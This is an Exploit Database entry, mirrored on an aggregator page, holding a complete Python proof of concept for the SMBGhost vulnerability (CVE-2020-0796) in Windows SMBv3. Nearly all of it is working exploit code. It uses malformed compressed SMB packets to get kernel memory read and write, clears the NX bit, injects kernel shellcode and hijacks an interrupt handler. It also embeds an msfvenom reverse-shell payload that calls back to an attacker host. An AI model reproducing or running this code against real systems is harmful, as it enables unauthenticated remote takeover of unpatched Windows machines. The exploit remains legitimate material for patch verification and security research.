Microsoft Windows – ‘SMBGhost’ Remote Code Execution

• Exploit Database
• 127 阅读

• 作者： chompie1337
  日期： 2020-06-02
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/48537/
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  #!/usr/bin/env python ''' # EDB Note ~ Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/48537.zip   # SMBGhost_RCE_PoC   RCE PoC for CVE-2020-0796 "SMBGhost"   For demonstration purposes only! Only use this a reference. Seriously. This has not been tested outside of my lab environment. It was written quickly and needs some work to be more reliable. Sometimes you BSOD. Using this for any purpose other than self education is an extremely bad idea. Your computer will burst in flames. Puppies will die.   Now that that's out of the way....   Usage ex: </code><code> $SMBGhost_RCE_PoC python exploit.py -ip 192.168.142.131 [+] found low stub at phys addr 13000! [+] PML4 at 1ad000 [+] base of HAL heap at fffff79480000000 [+] ntoskrnl entry at fffff80645792010 [+] found PML4 self-ref entry 1eb [+] found HalpInterruptController at fffff79480001478 [+] found HalpApicRequestInterrupt at fffff80645cb3bb0 [+] built shellcode! [+] KUSER_SHARED_DATA PTE at fffff5fbc0000000 [+] KUSER_SHARED_DATA PTE NX bit cleared! [+] Wrote shellcode at fffff78000000a00! [+] Press a key to execute shellcode! [+] overwrote HalpInterruptController pointer, should have execution shortly... </code><code> Replace payload in USER_PAYLOAD in exploit.py. Max of 600 bytes. If you want more, modify the kernel shell code yourself.   lznt1 code from [here](https://github.com/you0708/lznt1). Modified to add a "bad compression" function to corrupt SRVNET buffer header without causing a crash.   See this excellent write up by Ricera Security for more details on the methods I used: https://ricercasecurity.blogspot.com/2020/04/ill-ask-your-body-smbghost-pre-auth-rce.html '''   import sys import socket import struct import argparse   from lznt1 import compress, compress_evil from smb_win import smb_negotiate, smb_compress   # Use lowstub jmp bytes to signature search LOWSTUB_JMP = 0x1000600E9 # Offset of PML4 pointer in lowstub PML4_LOWSTUB_OFFSET = 0xA0 # Offset of lowstub virtual address in lowstub SELFVA_LOWSTUB_OFFSET = 0x78 # Offset of NTOSKRNL entry address in lowstub NTENTRY_LOWSTUB_OFFSET = 0x278   # Offset of hal!HalpApicRequestInterrupt pointer in hal!HalpInterruptController HALP_APIC_REQ_INTERRUPT_OFFSET = 0x78   KUSER_SHARED_DATA = 0xFFFFF78000000000   # Offset of pNetRawBuffer in SRVNET_BUFFER_HDR PNET_RAW_BUFF_OFFSET = 0x18 # Offset of pMDL1 in SRVNET_BUFFER_HDR PMDL1_OFFSET = 0x38   # Shellcode from kernel_shellcode.asm   KERNEL_SHELLCODE = b"\x41\x50\x41\x51\x41\x55\x41\x57\x41\x56\x51\x52\x53\x56\x57\x4C" KERNEL_SHELLCODE += b"\x8D\x35\xA0\x02\x00\x00\x49\x8B\x86\xD0\x00\x00\x00\x49\x8B\x9E" KERNEL_SHELLCODE += b"\xD8\x00\x00\x00\x48\x89\x18\xFB\x49\x8B\x86\xE0\x00\x00\x00\x48" KERNEL_SHELLCODE += b"\x2D\x00\x10\x00\x00\x66\x81\x38\x4D\x5A\x75\xF3\x49\x89\xC7\x4D" KERNEL_SHELLCODE += b"\x89\xBE\xE0\x00\x00\x00\xBF\x78\x7C\xF4\xDB\xE8\xDA\x00\x00\x00" KERNEL_SHELLCODE += b"\x49\x89\xC5\xBF\x3F\x5F\x64\x77\xE8\x2E\x01\x00\x00\x48\x89\xC1" KERNEL_SHELLCODE += b"\xBF\xE1\x14\x01\x17\xE8\x21\x01\x00\x00\x48\x89\xC2\x48\x83\xC2" KERNEL_SHELLCODE += b"\x08\x49\x8D\x74\x0D\x00\xE8\xFF\x00\x00\x00\x3D\xD8\x83\xE0\x3E" KERNEL_SHELLCODE += b"\x74\x0A\x4D\x8B\x6C\x15\x00\x49\x29\xD5\xEB\xE5\xBF\x48\xB8\x18" KERNEL_SHELLCODE += b"\xB8\x4C\x89\xE9\xE8\x91\x00\x00\x00\x49\x89\x06\x4D\x8B\x4D\x30" KERNEL_SHELLCODE += b"\x4D\x8B\x45\x38\x49\x81\xE8\xF8\x02\x00\x00\x48\x31\xF6\x49\x81" KERNEL_SHELLCODE += b"\xE9\xF8\x02\x00\x00\x41\x8B\x79\x74\x0F\xBA\xE7\x04\x73\x05\x4C" KERNEL_SHELLCODE += b"\x89\xCE\xEB\x0C\x4D\x39\xC8\x4D\x8B\x89\xF8\x02\x00\x00\x75\xDE" KERNEL_SHELLCODE += b"\x48\x85\xF6\x74\x40\x49\x8D\x4E\x08\x48\x89\xF2\x4D\x31\xC0\x4C" KERNEL_SHELLCODE += b"\x8D\x0D\xB9\x00\x00\x00\x52\x41\x50\x41\x50\x41\x50\xBF\xC4\x5C" KERNEL_SHELLCODE += b"\x19\x6D\x48\x83\xEC\x20\xE8\x2F\x00\x00\x00\x48\x83\xC4\x40\x49" KERNEL_SHELLCODE += b"\x8D\x4E\x08\xBF\x34\x46\xCC\xAF\x48\x83\xEC\x20\xE8\x19\x00\x00" KERNEL_SHELLCODE += b"\x00\x48\x83\xC4\x20\xFA\x48\x89\xD8\x5F\x5E\x5B\x5A\x59\x41\x5E" KERNEL_SHELLCODE += b"\x41\x5F\x41\x5D\x41\x59\x41\x58\xFF\xE0\xE8\x02\x00\x00\x00\xFF" KERNEL_SHELLCODE += b"\xE0\x53\x51\x56\x41\x8B\x47\x3C\x4C\x01\xF8\x8B\x80\x88\x00\x00" KERNEL_SHELLCODE += b"\x00\x4C\x01\xF8\x50\x8B\x48\x18\x8B\x58\x20\x4C\x01\xFB\xFF\xC9" KERNEL_SHELLCODE += b"\x8B\x34\x8B\x4C\x01\xFE\xE8\x1F\x00\x00\x00\x39\xF8\x75\xEF\x58" KERNEL_SHELLCODE += b"\x8B\x58\x24\x4C\x01\xFB\x66\x8B\x0C\x4B\x8B\x58\x1C\x4C\x01\xFB" KERNEL_SHELLCODE += b"\x8B\x04\x8B\x4C\x01\xF8\x5E\x59\x5B\xC3\x52\x31\xC0\x99\xAC\xC1" KERNEL_SHELLCODE += b"\xCA\x0D\x01\xC2\x85\xC0\x75\xF6\x92\x5A\xC3\xE8\xA1\xFF\xFF\xFF" KERNEL_SHELLCODE += b"\x80\x78\x02\x80\x77\x05\x0F\xB6\x40\x03\xC3\x8B\x40\x03\xC3\x41" KERNEL_SHELLCODE += b"\x57\x41\x56\x57\x56\x48\x8B\x05\x0A\x01\x00\x00\x48\x8B\x48\x18" KERNEL_SHELLCODE += b"\x48\x8B\x49\x20\x48\x8B\x09\x66\x83\x79\x48\x18\x75\xF6\x48\x8B" KERNEL_SHELLCODE += b"\x41\x50\x81\x78\x0C\x33\x00\x32\x00\x75\xE9\x4C\x8B\x79\x20\xBF" KERNEL_SHELLCODE += b"\x5E\x51\x5E\x83\xE8\x58\xFF\xFF\xFF\x49\x89\xC6\x4C\x8B\x3D\xB3" KERNEL_SHELLCODE += b"\x01\x00\x00\x31\xC0\x44\x0F\x22\xC0\x48\x8D\x15\x8E\x01\x00\x00" KERNEL_SHELLCODE += b"\x89\xC1\x48\xF7\xD1\x49\x89\xC0\xB0\x40\x50\xC1\xE0\x06\x50\x49" KERNEL_SHELLCODE += b"\x89\x01\x48\x83\xEC\x20\xBF\xEA\x99\x6E\x57\xE8\x1A\xFF\xFF\xFF" KERNEL_SHELLCODE += b"\x48\x83\xC4\x30\x48\x8B\x3D\x63\x01\x00\x00\x48\x8D\x35\x77\x00" KERNEL_SHELLCODE += b"\x00\x00\xB9\x1D\x00\x00\x00\xF3\xA4\x48\x8D\x35\x6E\x01\x00\x00" KERNEL_SHELLCODE += b"\xB9\x58\x02\x00\x00\xF3\xA4\x48\x8D\x0D\xD8\x00\x00\x00\x65\x48" KERNEL_SHELLCODE += b"\x8B\x14\x25\x88\x01\x00\x00\x4D\x31\xC0\x4C\x8D\x0D\x46\x00\x00" KERNEL_SHELLCODE += b"\x00\x41\x50\x6A\x01\x48\x8B\x05\x22\x01\x00\x00\x50\x41\x50\x48" KERNEL_SHELLCODE += b"\x83\xEC\x20\xBF\xC4\x5C\x19\x6D\xE8\xBD\xFE\xFF\xFF\x48\x83\xC4" KERNEL_SHELLCODE += b"\x40\x48\x8D\x0D\x9E\x00\x00\x00\x4C\x89\xF2\x4D\x31\xC9\xBF\x34" KERNEL_SHELLCODE += b"\x46\xCC\xAF\x48\x83\xEC\x20\xE8\x9E\xFE\xFF\xFF\x48\x83\xC4\x20" KERNEL_SHELLCODE += b"\x5E\x5F\x41\x5E\x41\x5F\xC3\x90\xC3\x48\x92\x31\xC9\x51\x51\x49" KERNEL_SHELLCODE += b"\x89\xC9\x4C\x8D\x05\x0D\x00\x00\x00\x89\xCA\x48\x83\xEC\x20\xFF" KERNEL_SHELLCODE += b"\xD0\x48\x83\xC4\x30\xC3\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x00\x00" KERNEL_SHELLCODE += b"\x00\x00\x00\x00\x00\x00"   # Reverse shell generated by msfvenom. Can you believe I had to download Kali Linux for this shit?   USER_PAYLOAD =b"" USER_PAYLOAD += b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41" USER_PAYLOAD += b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48" USER_PAYLOAD += b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f" USER_PAYLOAD += b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c" USER_PAYLOAD += b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52" USER_PAYLOAD += b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b" USER_PAYLOAD += b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0" USER_PAYLOAD += b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56" USER_PAYLOAD += b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9" USER_PAYLOAD += b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0" USER_PAYLOAD += b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58" USER_PAYLOAD += b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44" USER_PAYLOAD += b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0" USER_PAYLOAD += b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" USER_PAYLOAD += b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" USER_PAYLOAD += b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32" USER_PAYLOAD += b"\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec" USER_PAYLOAD += b"\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x7a\x69" USER_PAYLOAD += b"\xc0\xa8\x8e\x01\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41" USER_PAYLOAD += b"\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01" USER_PAYLOAD += b"\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x50\x50" USER_PAYLOAD += b"\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48" USER_PAYLOAD += b"\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5" USER_PAYLOAD += b"\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9" USER_PAYLOAD += b"\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02" USER_PAYLOAD += b"\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00\x00\x41" USER_PAYLOAD += b"\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0\x6a" USER_PAYLOAD += b"\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01" USER_PAYLOAD += b"\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50" USER_PAYLOAD += b"\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff" USER_PAYLOAD += b"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86" USER_PAYLOAD += b"\xff\xd5\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08" USER_PAYLOAD += b"\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6" USER_PAYLOAD += b"\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a" USER_PAYLOAD += b"\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59" USER_PAYLOAD += b"\x41\x89\xda\xff\xd5"     PML4_SELFREF = 0 PHAL_HEAP = 0 PHALP_INTERRUPT = 0 PHALP_APIC_INTERRUPT = 0 PNT_ENTRY = 0   max_read_retry = 3 overflow_val = 0x1100 write_unit = 0xd0 pmdl_va = KUSER_SHARED_DATA + 0x900 pmdl_mapva = KUSER_SHARED_DATA + 0x800 pshellcodeva = KUSER_SHARED_DATA + 0xa00     class MDL: def __init__(self, map_va, phys_addr): self.next = struct.pack("<Q", 0x0) self.size = struct.pack("<H", 0x40) self.mdl_flags = struct.pack("<H", 0x5004) self.alloc_processor = struct.pack("<H", 0x0) self.reserved = struct.pack("<H", 0x0) self.process = struct.pack("<Q", 0x0) self.map_va = struct.pack("<Q", map_va) map_va &= ~0xFFF self.start_va = struct.pack("<Q", map_va) self.byte_count = struct.pack("<L", 0x1100) self.byte_offset = struct.pack("<L", (phys_addr & 0xFFF) + 0x4) phys_addr_enc = (phys_addr & 0xFFFFFFFFFFFFF000) >> 12 self.phys_addr1 = struct.pack("<Q", phys_addr_enc) self.phys_addr2 = struct.pack("<Q", phys_addr_enc) self.phys_addr3 = struct.pack("<Q", phys_addr_enc)   def raw_bytes(self): mdl_bytes = self.next + self.size + self.mdl_flags + \ self.alloc_processor + self.reserved + self.process + \ self.map_va + self.start_va + self.byte_count + \ self.byte_offset + self.phys_addr1 + self.phys_addr2 + \ self.phys_addr3 return mdl_bytes     def reconnect(ip, port): sock = socket.socket(socket.AF_INET) sock.settimeout(7) sock.connect((ip, port)) return sock     def write_primitive(ip, port, data, addr): sock = reconnect(ip, port) smb_negotiate(sock) sock.recv(1000) uncompressed_data = b"\x41"*(overflow_val - len(data)) uncompressed_data += b"\x00"*PNET_RAW_BUFF_OFFSET uncompressed_data += struct.pack('<Q', addr) compressed_data = compress(uncompressed_data) smb_compress(sock, compressed_data, 0xFFFFFFFF, data) sock.close()     def write_srvnet_buffer_hdr(ip, port, data, offset): sock = reconnect(ip, port) smb_negotiate(sock) sock.recv(1000) compressed_data = compress_evil(data) dummy_data = b"\x33"*(overflow_val + offset) smb_compress(sock, compressed_data, 0xFFFFEFFF, dummy_data) sock.close()     def read_physmem_primitive(ip, port, phys_addr): i = 0 while i < max_read_retry: i += 1 buff = try_read_physmem_primitive(ip, port, phys_addr) if buff is not None: return buff     def try_read_physmem_primitive(ip, port, phys_addr): fake_mdl = MDL(pmdl_mapva, phys_addr).raw_bytes() write_primitive(ip, port, fake_mdl, pmdl_va) write_srvnet_buffer_hdr(ip, port, struct.pack('<Q', pmdl_va), PMDL1_OFFSET)   i = 0 while i < max_read_retry: i += 1 sock = reconnect(ip, port) smb_negotiate(sock) buff = sock.recv(1000) sock.close() if buff[4:8] != b"\xfeSMB": return buff     def get_phys_addr(ip, port, va_addr): pml4_index = (((1 << 9) - 1) & (va_addr >> (40 - 1))) pdpt_index = (((1 << 9) - 1) & (va_addr >> (31 - 1))) pdt_index = (((1 << 9) - 1) & (va_addr >> (22 - 1))) pt_index = (((1 << 9) - 1) & (va_addr >> (13 - 1)))   pml4e = PML4 + pml4_index*0x8 pdpt_buff = read_physmem_primitive(ip, port, pml4e)   if pdpt_buff is None: sys.exit("[-] physical read primitive failed")   pdpt = struct.unpack("<Q", pdpt_buff[0:8])[0] & 0xFFFFF000 pdpte = pdpt + pdpt_index*0x8 pdt_buff = read_physmem_primitive(ip, port, pdpte)   if pdt_buff is None: sys.exit("[-] physical read primitive failed")   pdt = struct.unpack("<Q", pdt_buff[0:8])[0] & 0xFFFFF000 pdte = pdt + pdt_index*0x8 pt_buff = read_physmem_primitive(ip, port, pdte)   if pt_buff is None: sys.exit("[-] physical read primitive failed")   pt = struct.unpack("<Q", pt_buff[0:8])[0]   if pt & (1 << (8 - 1)): phys_addr = (pt & 0xFFFFF000) + (pt_index & 0xFFF)*0x1000 + (va_addr & 0xFFF) return phys_addr else: pt = pt & 0xFFFFF000   pte = pt + pt_index*0x8 pte_buff = read_physmem_primitive(ip, port, pte)   if pte_buff is None: sys.exit("[-] physical read primitive failed")   phys_addr = (struct.unpack("<Q", pte_buff[0:8])[0] & 0xFFFFF000) + \ (va_addr & 0xFFF)   return phys_addr     def get_pte_va(addr): pt = addr >> 9 lb = (0xFFFF << 48) | (PML4_SELFREF << 39) ub = ((0xFFFF << 48) | (PML4_SELFREF << 39) + 0x8000000000 - 1) & 0xFFFFFFFFFFFFFFF8 pt = pt | lb pt = pt & ub   return pt     def overwrite_pte(ip, port, addr): phys_addr = get_phys_addr(ip, port, addr)   buff = read_physmem_primitive(ip, port, phys_addr)   if buff is None: sys.exit("[-] read primitive failed!")   pte_val = struct.unpack("<Q", buff[0:8])[0]   # Clear NX bit overwrite_val = pte_val & (((1 << 63) - 1)) overwrite_buff = struct.pack("<Q", overwrite_val)   write_primitive(ip, port, overwrite_buff, addr)     def build_shellcode(): global KERNEL_SHELLCODE KERNEL_SHELLCODE += struct.pack("<Q", PHALP_INTERRUPT + HALP_APIC_REQ_INTERRUPT_OFFSET) KERNEL_SHELLCODE += struct.pack("<Q", PHALP_APIC_INTERRUPT) KERNEL_SHELLCODE += struct.pack("<Q", PNT_ENTRY & 0xFFFFFFFFFFFFF000) KERNEL_SHELLCODE += USER_PAYLOAD     def search_hal_heap(ip, port): global PHALP_INTERRUPT global PHALP_APIC_INTERRUPT search_len = 0x10000   index = PHAL_HEAP page_index = PHAL_HEAP cons = 0 phys_addr = 0   while index < PHAL_HEAP + search_len:   # It seems that pages in the HAL heap are not necessarily contiguous in physical memory, # so we try to reduce number of reads like this   if not (index & 0xFFF): phys_addr = get_phys_addr(ip, port, index) else: phys_addr = (phys_addr & 0xFFFFFFFFFFFFF000) + (index & 0xFFF)   buff = read_physmem_primitive(ip, port, phys_addr)   if buff is None: sys.exit("[-] physical read primitive failed!")   entry_indices = 8*(((len(buff) + 8 // 2) // 8) - 1) i = 0   # This heuristic seems to be OK to find HalpInterruptController, but could use improvement while i < entry_indices: entry = struct.unpack("<Q", buff[i:i+8])[0] i += 8 if (entry & 0xFFFFFF0000000000) != 0xFFFFF80000000000: cons = 0 continue cons += 1 if cons > 3: PHALP_INTERRUPT = index + i - 0x40 print("[+] found HalpInterruptController at %lx" % PHALP_INTERRUPT)   if len(buff) < i + 0x40: buff = read_physmem_primitive(ip, port, index + i + 0x38) PHALP_APIC_INTERRUPT = struct.unpack("<Q", buff[0:8])[0]   if buff is None: sys.exit("[-] physical read primitive failed!") else: PHALP_APIC_INTERRUPT = struct.unpack("<Q",buff[i + 0x38:i+0x40])[0]   print("[+] found HalpApicRequestInterrupt at %lx" % PHALP_APIC_INTERRUPT)   return index += entry_indices   sys.exit("[-] failed to find HalpInterruptController!")     def search_selfref(ip, port): search_len = 0x1000 index = PML4   while search_len: buff = read_physmem_primitive(ip, port, index) if buff is None: return entry_indices = 8*(((len(buff) + 8 // 2) // 8) - 1) i = 0 while i < entry_indices: entry = struct.unpack("<Q",buff[i:i+8])[0] & 0xFFFFF000 if entry == PML4: return index + i i += 8 search_len -= entry_indices index += entry_indices     def find_pml4_selfref(ip, port): global PML4_SELFREF self_ref = search_selfref(ip, port)   if self_ref is None: sys.exit("[-] failed to find PML4 self reference entry!")   PML4_SELFREF = (self_ref & 0xFFF) >> 3   print("[+] found PML4 self-ref entry %0x" % PML4_SELFREF)     def find_low_stub(ip, port): global PML4 global PHAL_HEAP global PNT_ENTRY   limit = 0x100000 index = 0x1000   while index < limit: buff = read_physmem_primitive(ip, port, index)   if buff is None: sys.exit("[-] physical read primitive failed!")   entry = struct.unpack("<Q", buff[0:8])[0] & 0xFFFFFFFFFFFF00FF   if entry == LOWSTUB_JMP: print("[+] found low stub at phys addr %lx!" % index) PML4 = struct.unpack("<Q", buff[PML4_LOWSTUB_OFFSET: PML4_LOWSTUB_OFFSET + 8])[0] print("[+] PML4 at %lx" % PML4) PHAL_HEAP = struct.unpack("<Q", buff[SELFVA_LOWSTUB_OFFSET:SELFVA_LOWSTUB_OFFSET + 8])[0] & 0xFFFFFFFFF0000000 print("[+] base of HAL heap at %lx" % PHAL_HEAP)   buff = read_physmem_primitive(ip, port, index + NTENTRY_LOWSTUB_OFFSET)   if buff is None: sys.exit("[-] physical read primitive failed!")   PNT_ENTRY = struct.unpack("<Q", buff[0:8])[0] print("[+] ntoskrnl entry at %lx" % PNT_ENTRY) return   index += 0x1000   sys.exit("[-] Failed to find low stub in physical memory!")     def do_rce(ip, port): find_low_stub(ip, port) find_pml4_selfref(ip, port) search_hal_heap(ip, port)   build_shellcode()   print("[+] built shellcode!")   pKernelUserSharedPTE = get_pte_va(KUSER_SHARED_DATA) print("[+] KUSER_SHARED_DATA PTE at %lx" % pKernelUserSharedPTE)   overwrite_pte(ip, port, pKernelUserSharedPTE) print("[+] KUSER_SHARED_DATA PTE NX bit cleared!")   # TODO: figure out why we can't write the entire shellcode data at once. There is a check before srv2!Srv2DecompressData preventing the call of the function. to_write = len(KERNEL_SHELLCODE) write_bytes = 0 while write_bytes < to_write: write_sz = min([write_unit, to_write - write_bytes]) write_primitive(ip, port, KERNEL_SHELLCODE[write_bytes:write_bytes + write_sz], pshellcodeva + write_bytes) write_bytes += write_sz   print("[+] Wrote shellcode at %lx!" % pshellcodeva)   input("[+] Press a key to execute shellcode!")   write_primitive(ip, port, struct.pack("<Q", pshellcodeva), PHALP_INTERRUPT + HALP_APIC_REQ_INTERRUPT_OFFSET) print("[+] overwrote HalpInterruptController pointer, should have execution shortly...")         if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument("-ip", help="IP address of target", required=True) parser.add_argument("-p", "--port", default=445, help="SMB port, \ default: 445", required=False, type=int) args = parser.parse_args()   do_rce(args.ip, args.port)